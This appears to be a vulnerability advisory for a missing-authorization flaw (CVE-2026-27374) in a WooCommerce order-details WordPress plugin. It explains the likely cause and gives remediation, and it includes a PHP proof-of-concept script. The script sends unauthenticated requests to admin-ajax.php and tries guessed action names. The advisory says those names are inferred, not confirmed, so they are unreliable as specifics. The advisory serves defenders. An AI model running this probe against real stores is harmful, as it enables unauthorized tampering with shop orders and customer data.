Atomic Edge analysis of CVE-2026-27374 (metadata-based):
The WooCommerce Order Details plugin for WordPress contains a missing authorization vulnerability in versions up to and including 3.1. This flaw permits unauthenticated attackers to execute a privileged action intended only for authorized users. The CVSS score of 5.3 (Medium) reflects a network-accessible attack with low complexity that impacts integrity but not confidentiality or availability.
CWE-862, Missing Authorization, indicates the plugin fails to verify a user’s capability before executing a sensitive function. Atomic Edge research infers the vulnerable component is likely an AJAX handler or admin POST endpoint registered via `add_action(‘wp_ajax_…’)` or `add_action(‘admin_post_…’)` without a corresponding capability check using `current_user_can()`. The description confirms the absence of a capability check but does not specify the exact function. The vulnerability exists because the plugin trusts the action hook’s caller without validating permissions.
Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin patterns, the likely attack vector is the WordPress AJAX handler (`/wp-admin/admin-ajax.php`) with an `action` parameter corresponding to the plugin’s registered hook. A plausible endpoint is `/wp-admin/admin-ajax.php` with `action=woocommerce_order_details_action`. The attacker sends a POST request with parameters required by the underlying function, such as order IDs or data manipulation commands. No authentication cookies or nonces are required.
Remediation requires adding a proper capability check before the sensitive function executes. The fix should verify the current user possesses a required capability, such as `manage_woocommerce` or `edit_shop_orders`, using `current_user_can()`. If the endpoint is intended for administrators, the check must also confirm the user is logged in. The patched code must validate both authentication and authorization. WordPress nonce verification should also be added to prevent CSRF, but the primary flaw is the missing capability check.
Successful exploitation allows unauthenticated attackers to perform unauthorized actions. The exact impact depends on the vulnerable function’s purpose. Given the plugin’s name and WooCommerce context, likely actions include viewing, modifying, or deleting order details. This could lead to data tampering, privacy violations, or disruption of store operations. The integrity impact (I:L) in the CVSS vector confirms unauthorized modification of data.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27374 - WooCommerce Order Details <= 3.1 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-27374.
* This script attempts to exploit a missing authorization vulnerability
* in the WooCommerce Order Details plugin (<= v3.1).
*
* ASSUMPTIONS (based on metadata and WordPress patterns):
* 1. The plugin registers an AJAX action hook without a capability check.
* 2. The hook name likely contains the plugin slug 'woocommerce_order_details'.
* 3. The endpoint is /wp-admin/admin-ajax.php.
* 4. The action may accept parameters to manipulate order data.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common AJAX action patterns derived from the plugin slug
$possible_actions = [
'woocommerce_order_details_action',
'order_details_action',
'wc_order_details_action',
'wcod_action' // Abbreviated slug
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
foreach ($possible_actions as $action) {
echo "[*] Testing action: $actionn";
// Minimal payload: action parameter only. Real exploit may require additional parameters.
$post_data = ['action' => $action];
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Analyze response for signs of successful execution
if ($http_code == 200 && !empty($response)) {
if (strpos($response, 'error') === false && strpos($response, '0') !== 0) {
echo "[!] Potential success for action '$action'. Response length: " . strlen($response) . "n";
echo "[!] Response preview: " . substr($response, 0, 200) . "...n";
// In a real attack, additional parameters would be added here to perform the unauthorized action.
}
} else {
echo "[-] Action '$action' returned HTTP $http_coden";
}
}
curl_close($ch);
echo "[+] PoC completed. Manual verification of plugin functionality required.n";
?>
